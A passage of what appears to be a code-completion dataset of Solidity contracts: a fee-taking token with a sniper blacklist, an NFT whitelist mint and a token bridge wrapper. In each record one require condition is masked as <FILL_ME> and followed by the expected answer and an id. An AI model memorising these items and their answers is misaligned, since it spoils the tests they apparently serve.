string private constant _symbol = "PISA";
uint8 private constant _decimals = 18;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000_000_000 * 10 ** _decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 0;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 0;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public snipers;
address payable private _devAddress;
address payable private _marketingAddress;
ISwapRouter public uniswapV2Router;
address public uniswapV2Pair;
bool private isTradingEnabled;
bool private inSwap = false;
bool private isSwapEnabled = true;
uint256 public _maxTxAmount = 100_000_000 * 10 ** _decimals;
uint256 public _maxWalletSize = 100_000_000 * 10 ** _decimals;
uint256 public _swapTokensAtAmount = 1000 * 10 ** _decimals;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor(address routerAddr, address marketingAddress) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function disableFee() private {
}
function resetAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!isTradingEnabled) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(<FILL_ME>)
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount <= _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && isSwapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
sendETHToFee(from, to, contractETHBalance);
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function addPairAddress(address router, address pair) internal {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(address from, address to, uint256 amount) private {
}
function openTrading() public onlyOwner {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function reduceFees() public onlyOwner {
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
}
| !snipers[from]&&!snipers[to],"TOKEN: Your account is blacklisted!" | 156,871 | !snipers[from]&&!snipers[to] |
"whitelist total supply mint too many" | pragma solidity ^0.8.0;
contract YouPoPo is Ownable, ERC721 {
uint public maxTotalSupply = 1000;
uint public totalSupply = 0;
uint public maxWhitelistSupply = 365;
string public baseURI;
uint public price = 0.001 ether;
mapping(address => bool) public whitelistMinted;
bool public start;
constructor()
ERC721("YouPoPo", "YouPoPo")
{
}
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function setPrice(uint price_) external onlyOwner {
}
function setStart(bool start_) external onlyOwner {
}
function mint(uint quantity) external payable {
require(start, "not started");
if (totalSupply < maxWhitelistSupply) {
require(quantity == 1, "whitelist mint too many");
require(<FILL_ME>)
require(!whitelistMinted[msg.sender], "whitelist have minted");
whitelistMinted[msg.sender] = true;
_mint(msg.sender, totalSupply);
} else {
require(msg.value >= quantity*price, "not enough money");
for (uint i = 0; i < quantity; i++) {
_mint(msg.sender, totalSupply+i);
}
}
totalSupply += quantity;
require(totalSupply <= maxTotalSupply, "mint too many");
}
function withdraw(address to) external onlyOwner {
}
// --------------------- internal function ---------------------
function _baseURI() internal view override returns (string memory) {
}
}
| totalSupply+1<=maxWhitelistSupply,"whitelist total supply mint too many" | 157,067 | totalSupply+1<=maxWhitelistSupply |
"whitelist have minted" | pragma solidity ^0.8.0;
contract YouPoPo is Ownable, ERC721 {
uint public maxTotalSupply = 1000;
uint public totalSupply = 0;
uint public maxWhitelistSupply = 365;
string public baseURI;
uint public price = 0.001 ether;
mapping(address => bool) public whitelistMinted;
bool public start;
constructor()
ERC721("YouPoPo", "YouPoPo")
{
}
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function setPrice(uint price_) external onlyOwner {
}
function setStart(bool start_) external onlyOwner {
}
function mint(uint quantity) external payable {
require(start, "not started");
if (totalSupply < maxWhitelistSupply) {
require(quantity == 1, "whitelist mint too many");
require(totalSupply + 1 <= maxWhitelistSupply, "whitelist total supply mint too many");
require(<FILL_ME>)
whitelistMinted[msg.sender] = true;
_mint(msg.sender, totalSupply);
} else {
require(msg.value >= quantity*price, "not enough money");
for (uint i = 0; i < quantity; i++) {
_mint(msg.sender, totalSupply+i);
}
}
totalSupply += quantity;
require(totalSupply <= maxTotalSupply, "mint too many");
}
function withdraw(address to) external onlyOwner {
}
// --------------------- internal function ---------------------
function _baseURI() internal view override returns (string memory) {
}
}
| !whitelistMinted[msg.sender],"whitelist have minted" | 157,067 | !whitelistMinted[msg.sender] |
"PausableControl: paused" | pragma solidity ^0.8.10;
abstract contract PausableControl {
mapping(bytes32 => bool) private _pausedRoles;
bytes32 public constant PAUSE_ALL_ROLE = 0x00;
event Paused(bytes32 role);
event Unpaused(bytes32 role);
modifier whenNotPaused(bytes32 role) {
require(<FILL_ME>)
_;
}
modifier whenPaused(bytes32 role) {
}
function paused(bytes32 role) public view virtual returns (bool) {
}
function _pause(bytes32 role) internal virtual whenNotPaused(role) {
}
function _unpause(bytes32 role) internal virtual whenPaused(role) {
}
}
library TokenOperation {
using Address for address;
function safeMint(
address token,
address to,
uint256 value
) internal {
}
function safeBurnAny(
address token,
address from,
uint256 value
) internal {
}
function safeBurnSelf(
address token,
uint256 value,
address burnReceiver
) internal {
}
function safeBurnFrom(
address token,
address from,
uint256 value
) internal {
}
function _callOptionalReturn(address token, bytes memory data) private {
}
}
interface IBridge {
function Swapin(bytes32 txhash, address account, uint256 amount) external returns (bool);
function Swapout(uint256 amount, address bindaddr) external returns (bool);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint256 amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint256 amount);
}
interface IRouter {
function mint(address to, uint256 amount) external returns (bool);
function burn(address from, uint256 amount) external returns (bool);
}
/// @dev MintBurnWrapper has the following aims:
/// 1. wrap token which does not support interface `IBridge` or `IRouter`
/// 2. wrap token which want to support multiple minters
/// 3. add security enhancement (mint cap, pausable, etc.)
contract MintBurnWrapper is IBridge, IRouter, AccessControlEnumerable, PausableControl {
using SafeERC20 for IERC20;
// access control roles
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant BRIDGE_ROLE = keccak256("BRIDGE_ROLE");
bytes32 public constant ROUTER_ROLE = keccak256("ROUTER_ROLE");
// pausable control roles
bytes32 public constant PAUSE_MINT_ROLE = keccak256("PAUSE_MINT_ROLE");
bytes32 public constant PAUSE_BURN_ROLE = keccak256("PAUSE_BURN_ROLE");
bytes32 public constant PAUSE_BRIDGE_ROLE = keccak256("PAUSE_BRIDGE_ROLE");
bytes32 public constant PAUSE_ROUTER_ROLE = keccak256("PAUSE_ROUTER_ROLE");
bytes32 public constant PAUSE_DEPOSIT_ROLE = keccak256("PAUSE_DEPOSIT_ROLE");
bytes32 public constant PAUSE_WITHDRAW_ROLE = keccak256("PAUSE_WITHDRAW_ROLE");
struct Supply {
uint256 max; // single limit of each mint
uint256 cap; // total limit of all mint
uint256 total; // total minted minus burned
}
mapping(address => Supply) public minterSupply;
uint256 public totalMintCap; // total mint cap
uint256 public totalMinted; // total minted amount
enum TokenType {
MintBurnAny, // mint and burn(address from, uint256 amount), don't need approve
MintBurnFrom, // mint and burnFrom(address from, uint256 amount), need approve
MintBurnSelf, // mint and burn(uint256 amount), call transferFrom first, need approve
Transfer, // transfer and transferFrom, need approve
TransferDeposit // transfer and transferFrom, deposit and withdraw, need approve
}
address public immutable token; // the target token this contract is wrapping
TokenType public immutable tokenType;
address public burnReceiver;
mapping(address => uint256) public depositBalance;
mapping(bytes32 => bool) public swapinExisted;
constructor(address _token, uint256 _totalMintCap, address _admin) {
}
function owner() external view returns (address) {
}
function pause(bytes32 role) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function unpause(bytes32 role) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _mint(address to, uint256 amount) internal whenNotPaused(PAUSE_MINT_ROLE) {
}
function _burn(address from, uint256 amount) internal whenNotPaused(PAUSE_BURN_ROLE) {
}
// impl IRouter `mint`
function mint(address to, uint256 amount)
external
onlyRole(MINTER_ROLE)
returns (bool)
{
}
// impl IRouter `burn`
function burn(address from, uint256 amount)
external
onlyRole(MINTER_ROLE)
onlyRole(ROUTER_ROLE)
whenNotPaused(PAUSE_ROUTER_ROLE)
returns (bool)
{
}
// impl IBridge `Swapin`
function Swapin(bytes32 txhash, address account, uint256 amount)
external
onlyRole(MINTER_ROLE)
onlyRole(BRIDGE_ROLE)
whenNotPaused(PAUSE_BRIDGE_ROLE)
returns (bool)
{
}
// impl IBridge `Swapout`
function Swapout(uint256 amount, address bindaddr)
external
whenNotPaused(PAUSE_BRIDGE_ROLE)
returns (bool)
{
}
function deposit(uint256 amount, address to)
external
whenNotPaused(PAUSE_DEPOSIT_ROLE)
returns (uint256)
{
}
function withdraw(uint256 amount, address to)
external
whenNotPaused(PAUSE_WITHDRAW_ROLE)
returns (uint256)
{
}
function addMinter(address minter, uint256 cap, uint256 max) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function removeMinter(address minter) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTotalMintCap(uint256 cap) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setBurnReceiver(address _addr) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMinterCap(address minter, uint256 cap) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMinterMax(address minter, uint256 max) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMinterTotal(address minter, uint256 total, bool force) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
}
| !paused(role)&&!paused(PAUSE_ALL_ROLE),"PausableControl: paused" | 157,151 | !paused(role)&&!paused(PAUSE_ALL_ROLE) |
"PausableControl: not paused" | pragma solidity ^0.8.10;
abstract contract PausableControl {
mapping(bytes32 => bool) private _pausedRoles;
bytes32 public constant PAUSE_ALL_ROLE = 0x00;
event Paused(bytes32 role);
event Unpaused(bytes32 role);
modifier whenNotPaused(bytes32 role) {
}
modifier whenPaused(bytes32 role) {
require(<FILL_ME>)
_;
}
function paused(bytes32 role) public view virtual returns (bool) {
}
function _pause(bytes32 role) internal virtual whenNotPaused(role) {
}
function _unpause(bytes32 role) internal virtual whenPaused(role) {
}
}
library TokenOperation {
using Address for address;
function safeMint(
address token,
address to,
uint256 value
) internal {
}
function safeBurnAny(
address token,
address from,
uint256 value
) internal {
}
function safeBurnSelf(
address token,
uint256 value,
address burnReceiver
) internal {
}
function safeBurnFrom(
address token,
address from,
uint256 value
) internal {
}
function _callOptionalReturn(address token, bytes memory data) private {
}
}
interface IBridge {
function Swapin(bytes32 txhash, address account, uint256 amount) external returns (bool);
function Swapout(uint256 amount, address bindaddr) external returns (bool);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint256 amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint256 amount);
}
interface IRouter {
function mint(address to, uint256 amount) external returns (bool);
function burn(address from, uint256 amount) external returns (bool);
}
/// @dev MintBurnWrapper has the following aims:
/// 1. wrap token which does not support interface `IBridge` or `IRouter`
/// 2. wrap token which want to support multiple minters
/// 3. add security enhancement (mint cap, pausable, etc.)
contract MintBurnWrapper is IBridge, IRouter, AccessControlEnumerable, PausableControl {
using SafeERC20 for IERC20;
// access control roles
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant BRIDGE_ROLE = keccak256("BRIDGE_ROLE");
bytes32 public constant ROUTER_ROLE = keccak256("ROUTER_ROLE");
// pausable control roles
bytes32 public constant PAUSE_MINT_ROLE = keccak256("PAUSE_MINT_ROLE");
bytes32 public constant PAUSE_BURN_ROLE = keccak256("PAUSE_BURN_ROLE");
bytes32 public constant PAUSE_BRIDGE_ROLE = keccak256("PAUSE_BRIDGE_ROLE");
bytes32 public constant PAUSE_ROUTER_ROLE = keccak256("PAUSE_ROUTER_ROLE");
bytes32 public constant PAUSE_DEPOSIT_ROLE = keccak256("PAUSE_DEPOSIT_ROLE");
bytes32 public constant PAUSE_WITHDRAW_ROLE = keccak256("PAUSE_WITHDRAW_ROLE");
struct Supply {
uint256 max; // single limit of each mint
uint256 cap; // total limit of all mint
uint256 total; // total minted minus burned
}
mapping(address => Supply) public minterSupply;
uint256 public totalMintCap; // total mint cap
uint256 public totalMinted; // total minted amount
enum TokenType {
MintBurnAny, // mint and burn(address from, uint256 amount), don't need approve
MintBurnFrom, // mint and burnFrom(address from, uint256 amount), need approve
MintBurnSelf, // mint and burn(uint256 amount), call transferFrom first, need approve
Transfer, // transfer and transferFrom, need approve
TransferDeposit // transfer and transferFrom, deposit and withdraw, need approve
}
address public immutable token; // the target token this contract is wrapping
TokenType public immutable tokenType;
address public burnReceiver;
mapping(address => uint256) public depositBalance;
mapping(bytes32 => bool) public swapinExisted;
constructor(address _token, uint256 _totalMintCap, address _admin) {
}
function owner() external view returns (address) {
}
function pause(bytes32 role) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function unpause(bytes32 role) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _mint(address to, uint256 amount) internal whenNotPaused(PAUSE_MINT_ROLE) {
}
function _burn(address from, uint256 amount) internal whenNotPaused(PAUSE_BURN_ROLE) {
}
// impl IRouter `mint`
function mint(address to, uint256 amount)
external
onlyRole(MINTER_ROLE)
returns (bool)
{
}
// impl IRouter `burn`
function burn(address from, uint256 amount)
external
onlyRole(MINTER_ROLE)
onlyRole(ROUTER_ROLE)
whenNotPaused(PAUSE_ROUTER_ROLE)
returns (bool)
{
}
// impl IBridge `Swapin`
function Swapin(bytes32 txhash, address account, uint256 amount)
external
onlyRole(MINTER_ROLE)
onlyRole(BRIDGE_ROLE)
whenNotPaused(PAUSE_BRIDGE_ROLE)
returns (bool)
{
}
// impl IBridge `Swapout`
function Swapout(uint256 amount, address bindaddr)
external
whenNotPaused(PAUSE_BRIDGE_ROLE)
returns (bool)
{
}
function deposit(uint256 amount, address to)
external
whenNotPaused(PAUSE_DEPOSIT_ROLE)
returns (uint256)
{
}
function withdraw(uint256 amount, address to)
external
whenNotPaused(PAUSE_WITHDRAW_ROLE)
returns (uint256)
{
}
function addMinter(address minter, uint256 cap, uint256 max) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function removeMinter(address minter) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTotalMintCap(uint256 cap) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setBurnReceiver(address _addr) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMinterCap(address minter, uint256 cap) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMinterMax(address minter, uint256 max) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMinterTotal(address minter, uint256 total, bool force) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
}
| paused(role)||paused(PAUSE_ALL_ROLE),"PausableControl: not paused" | 157,151 | paused(role)||paused(PAUSE_ALL_ROLE) |
"TokenOperation: did not succeed" | pragma solidity ^0.8.10;
abstract contract PausableControl {
mapping(bytes32 => bool) private _pausedRoles;
bytes32 public constant PAUSE_ALL_ROLE = 0x00;
event Paused(bytes32 role);
event Unpaused(bytes32 role);
modifier whenNotPaused(bytes32 role) {
}
modifier whenPaused(bytes32 role) {
}
function paused(bytes32 role) public view virtual returns (bool) {
}
function _pause(bytes32 role) internal virtual whenNotPaused(role) {
}
function _unpause(bytes32 role) internal virtual whenPaused(role) {
}
}
library TokenOperation {
using Address for address;
function safeMint(
address token,
address to,
uint256 value
) internal {
}
function safeBurnAny(
address token,
address from,
uint256 value
) internal {
}
function safeBurnSelf(
address token,
uint256 value,
address burnReceiver
) internal {
}
function safeBurnFrom(
address token,
address from,
uint256 value
) internal {
}
function _callOptionalReturn(address token, bytes memory data) private {
bytes memory returndata = token.functionCall(data, "TokenOperation: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// require(abi.decode(returndata, (bool)), "TokenOperation: did not succeed");
require(<FILL_ME>)
}
}
}
interface IBridge {
function Swapin(bytes32 txhash, address account, uint256 amount) external returns (bool);
function Swapout(uint256 amount, address bindaddr) external returns (bool);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint256 amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint256 amount);
}
interface IRouter {
function mint(address to, uint256 amount) external returns (bool);
function burn(address from, uint256 amount) external returns (bool);
}
/// @dev MintBurnWrapper has the following aims:
/// 1. wrap token which does not support interface `IBridge` or `IRouter`
/// 2. wrap token which want to support multiple minters
/// 3. add security enhancement (mint cap, pausable, etc.)
contract MintBurnWrapper is IBridge, IRouter, AccessControlEnumerable, PausableControl {
using SafeERC20 for IERC20;
// access control roles
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant BRIDGE_ROLE = keccak256("BRIDGE_ROLE");
bytes32 public constant ROUTER_ROLE = keccak256("ROUTER_ROLE");
// pausable control roles
bytes32 public constant PAUSE_MINT_ROLE = keccak256("PAUSE_MINT_ROLE");
bytes32 public constant PAUSE_BURN_ROLE = keccak256("PAUSE_BURN_ROLE");
bytes32 public constant PAUSE_BRIDGE_ROLE = keccak256("PAUSE_BRIDGE_ROLE");
bytes32 public constant PAUSE_ROUTER_ROLE = keccak256("PAUSE_ROUTER_ROLE");
bytes32 public constant PAUSE_DEPOSIT_ROLE = keccak256("PAUSE_DEPOSIT_ROLE");
bytes32 public constant PAUSE_WITHDRAW_ROLE = keccak256("PAUSE_WITHDRAW_ROLE");
struct Supply {
uint256 max; // single limit of each mint
uint256 cap; // total limit of all mint
uint256 total; // total minted minus burned
}
mapping(address => Supply) public minterSupply;
uint256 public totalMintCap; // total mint cap
uint256 public totalMinted; // total minted amount
enum TokenType {
MintBurnAny, // mint and burn(address from, uint256 amount), don't need approve
MintBurnFrom, // mint and burnFrom(address from, uint256 amount), need approve
MintBurnSelf, // mint and burn(uint256 amount), call transferFrom first, need approve
Transfer, // transfer and transferFrom, need approve
TransferDeposit // transfer and transferFrom, deposit and withdraw, need approve
}
address public immutable token; // the target token this contract is wrapping
TokenType public immutable tokenType;
address public burnReceiver;
mapping(address => uint256) public depositBalance;
mapping(bytes32 => bool) public swapinExisted;
constructor(address _token, uint256 _totalMintCap, address _admin) {
}
function owner() external view returns (address) {
}
function pause(bytes32 role) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function unpause(bytes32 role) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _mint(address to, uint256 amount) internal whenNotPaused(PAUSE_MINT_ROLE) {
}
function _burn(address from, uint256 amount) internal whenNotPaused(PAUSE_BURN_ROLE) {
}
// impl IRouter `mint`
function mint(address to, uint256 amount)
external
onlyRole(MINTER_ROLE)
returns (bool)
{
}
// impl IRouter `burn`
function burn(address from, uint256 amount)
external
onlyRole(MINTER_ROLE)
onlyRole(ROUTER_ROLE)
whenNotPaused(PAUSE_ROUTER_ROLE)
returns (bool)
{
}
// impl IBridge `Swapin`
function Swapin(bytes32 txhash, address account, uint256 amount)
external
onlyRole(MINTER_ROLE)
onlyRole(BRIDGE_ROLE)
whenNotPaused(PAUSE_BRIDGE_ROLE)
returns (bool)
{
}
// impl IBridge `Swapout`
function Swapout(uint256 amount, address bindaddr)
external
whenNotPaused(PAUSE_BRIDGE_ROLE)
returns (bool)
{
}
function deposit(uint256 amount, address to)
external
whenNotPaused(PAUSE_DEPOSIT_ROLE)
returns (uint256)
{
}
function withdraw(uint256 amount, address to)
external
whenNotPaused(PAUSE_WITHDRAW_ROLE)
returns (uint256)
{
}
function addMinter(address minter, uint256 cap, uint256 max) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function removeMinter(address minter) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTotalMintCap(uint256 cap) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setBurnReceiver(address _addr) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMinterCap(address minter, uint256 cap) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMinterMax(address minter, uint256 max) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMinterTotal(address minter, uint256 total, bool force) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
}
| abi.decode(returndata,(uint256))>0,"TokenOperation: did not succeed" | 157,151 | abi.decode(returndata,(uint256))>0 |
"swapin existed" | pragma solidity ^0.8.10;
abstract contract PausableControl {
mapping(bytes32 => bool) private _pausedRoles;
bytes32 public constant PAUSE_ALL_ROLE = 0x00;
event Paused(bytes32 role);
event Unpaused(bytes32 role);
modifier whenNotPaused(bytes32 role) {
}
modifier whenPaused(bytes32 role) {
}
function paused(bytes32 role) public view virtual returns (bool) {
}
function _pause(bytes32 role) internal virtual whenNotPaused(role) {
}
function _unpause(bytes32 role) internal virtual whenPaused(role) {
}
}
library TokenOperation {
using Address for address;
function safeMint(
address token,
address to,
uint256 value
) internal {
}
function safeBurnAny(
address token,
address from,
uint256 value
) internal {
}
function safeBurnSelf(
address token,
uint256 value,
address burnReceiver
) internal {
}
function safeBurnFrom(
address token,
address from,
uint256 value
) internal {
}
function _callOptionalReturn(address token, bytes memory data) private {
}
}
interface IBridge {
function Swapin(bytes32 txhash, address account, uint256 amount) external returns (bool);
function Swapout(uint256 amount, address bindaddr) external returns (bool);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint256 amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint256 amount);
}
interface IRouter {
function mint(address to, uint256 amount) external returns (bool);
function burn(address from, uint256 amount) external returns (bool);
}
/// @dev MintBurnWrapper has the following aims:
/// 1. wrap token which does not support interface `IBridge` or `IRouter`
/// 2. wrap token which want to support multiple minters
/// 3. add security enhancement (mint cap, pausable, etc.)
contract MintBurnWrapper is IBridge, IRouter, AccessControlEnumerable, PausableControl {
using SafeERC20 for IERC20;
// access control roles
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant BRIDGE_ROLE = keccak256("BRIDGE_ROLE");
bytes32 public constant ROUTER_ROLE = keccak256("ROUTER_ROLE");
// pausable control roles
bytes32 public constant PAUSE_MINT_ROLE = keccak256("PAUSE_MINT_ROLE");
bytes32 public constant PAUSE_BURN_ROLE = keccak256("PAUSE_BURN_ROLE");
bytes32 public constant PAUSE_BRIDGE_ROLE = keccak256("PAUSE_BRIDGE_ROLE");
bytes32 public constant PAUSE_ROUTER_ROLE = keccak256("PAUSE_ROUTER_ROLE");
bytes32 public constant PAUSE_DEPOSIT_ROLE = keccak256("PAUSE_DEPOSIT_ROLE");
bytes32 public constant PAUSE_WITHDRAW_ROLE = keccak256("PAUSE_WITHDRAW_ROLE");
struct Supply {
uint256 max; // single limit of each mint
uint256 cap; // total limit of all mint
uint256 total; // total minted minus burned
}
mapping(address => Supply) public minterSupply;
uint256 public totalMintCap; // total mint cap
uint256 public totalMinted; // total minted amount
enum TokenType {
MintBurnAny, // mint and burn(address from, uint256 amount), don't need approve
MintBurnFrom, // mint and burnFrom(address from, uint256 amount), need approve
MintBurnSelf, // mint and burn(uint256 amount), call transferFrom first, need approve
Transfer, // transfer and transferFrom, need approve
TransferDeposit // transfer and transferFrom, deposit and withdraw, need approve
}
address public immutable token; // the target token this contract is wrapping
TokenType public immutable tokenType;
address public burnReceiver;
mapping(address => uint256) public depositBalance;
mapping(bytes32 => bool) public swapinExisted;
constructor(address _token, uint256 _totalMintCap, address _admin) {
}
function owner() external view returns (address) {
}
function pause(bytes32 role) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function unpause(bytes32 role) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _mint(address to, uint256 amount) internal whenNotPaused(PAUSE_MINT_ROLE) {
}
function _burn(address from, uint256 amount) internal whenNotPaused(PAUSE_BURN_ROLE) {
}
// impl IRouter `mint`
function mint(address to, uint256 amount)
external
onlyRole(MINTER_ROLE)
returns (bool)
{
}
// impl IRouter `burn`
function burn(address from, uint256 amount)
external
onlyRole(MINTER_ROLE)
onlyRole(ROUTER_ROLE)
whenNotPaused(PAUSE_ROUTER_ROLE)
returns (bool)
{
}
// impl IBridge `Swapin`
function Swapin(bytes32 txhash, address account, uint256 amount)
external
onlyRole(MINTER_ROLE)
onlyRole(BRIDGE_ROLE)
whenNotPaused(PAUSE_BRIDGE_ROLE)
returns (bool)
{
require(<FILL_ME>)
swapinExisted[txhash] = true;
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
// impl IBridge `Swapout`
function Swapout(uint256 amount, address bindaddr)
external
whenNotPaused(PAUSE_BRIDGE_ROLE)
returns (bool)
{
}
function deposit(uint256 amount, address to)
external
whenNotPaused(PAUSE_DEPOSIT_ROLE)
returns (uint256)
{
}
function withdraw(uint256 amount, address to)
external
whenNotPaused(PAUSE_WITHDRAW_ROLE)
returns (uint256)
{
}
function addMinter(address minter, uint256 cap, uint256 max) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function removeMinter(address minter) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTotalMintCap(uint256 cap) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setBurnReceiver(address _addr) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMinterCap(address minter, uint256 cap) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMinterMax(address minter, uint256 max) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMinterTotal(address minter, uint256 total, bool force) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
}
| !swapinExisted[txhash],"swapin existed" | 157,151 | !swapinExisted[txhash] |
"not minter" | pragma solidity ^0.8.10;
abstract contract PausableControl {
mapping(bytes32 => bool) private _pausedRoles;
bytes32 public constant PAUSE_ALL_ROLE = 0x00;
event Paused(bytes32 role);
event Unpaused(bytes32 role);
modifier whenNotPaused(bytes32 role) {
}
modifier whenPaused(bytes32 role) {
}
function paused(bytes32 role) public view virtual returns (bool) {
}
function _pause(bytes32 role) internal virtual whenNotPaused(role) {
}
function _unpause(bytes32 role) internal virtual whenPaused(role) {
}
}
library TokenOperation {
using Address for address;
function safeMint(
address token,
address to,
uint256 value
) internal {
}
function safeBurnAny(
address token,
address from,
uint256 value
) internal {
}
function safeBurnSelf(
address token,
uint256 value,
address burnReceiver
) internal {
}
function safeBurnFrom(
address token,
address from,
uint256 value
) internal {
}
function _callOptionalReturn(address token, bytes memory data) private {
}
}
interface IBridge {
function Swapin(bytes32 txhash, address account, uint256 amount) external returns (bool);
function Swapout(uint256 amount, address bindaddr) external returns (bool);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint256 amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint256 amount);
}
interface IRouter {
function mint(address to, uint256 amount) external returns (bool);
function burn(address from, uint256 amount) external returns (bool);
}
/// @dev MintBurnWrapper has the following aims:
/// 1. wrap token which does not support interface `IBridge` or `IRouter`
/// 2. wrap token which want to support multiple minters
/// 3. add security enhancement (mint cap, pausable, etc.)
contract MintBurnWrapper is IBridge, IRouter, AccessControlEnumerable, PausableControl {
using SafeERC20 for IERC20;
// access control roles
